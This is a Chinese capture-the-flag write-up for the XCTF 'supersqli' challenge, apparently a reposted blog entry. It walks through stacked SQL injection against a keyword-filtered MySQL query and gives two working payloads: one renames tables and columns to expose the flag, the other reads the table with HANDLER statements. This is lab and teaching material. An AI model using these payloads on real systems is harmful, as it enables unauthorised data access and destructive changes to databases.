zoukankan      html  css  js  c++  java
  • xctf-web supersqli

    单引号注入,用order by查到了两个column。用union select的时候发现select关键字被过滤了

    用分号尝试堆叠注入显示出了两张表

    分别查询字段

    flag在表1919810931114514中

    方法一:

    words中有字段id,id应该为表单查询语句中的查询字段。可以猜测sql语句为:select * from words where id='';

    因为没有限制alter,rename和change。所以可以通过修改表名来查flag。只需要把原本的words改成其他名字,1919810931114514表改为words,然后把字段flag改为id即可

    payload:

    1‘;alter table words rename to (任意名称);

    alter table `1919810931114514` rename to words;

    alter table words change flag id varchar(20);--+

    之后用1’ or 1=1--+就可显示flag

    (妙啊~~)

    方法二:

    利用mysql特有的handler查询

    payload:1';handler  `1919810931114514`  open;handler `1919810931114514` read first;--+

    handler的使用可参考:https://blog.csdn.net/JesseYoung/article/details/40785137

    其他方法后续更新

  • 相关阅读:
    发送xml请求数据,返回数据怎么获取
    laravel打印sql语句
    布隆过滤器-使用场景的思考
    sql性能优化
    JS Date.parse() 函数详解
    vuejs中的watch监听属性
    JS正则test()方法
    golang实现简单线程池
    golang map实现set
    golang init函数
  • 原文地址:https://www.cnblogs.com/remon535/p/12651327.html
Copyright © 2011-2022 走看看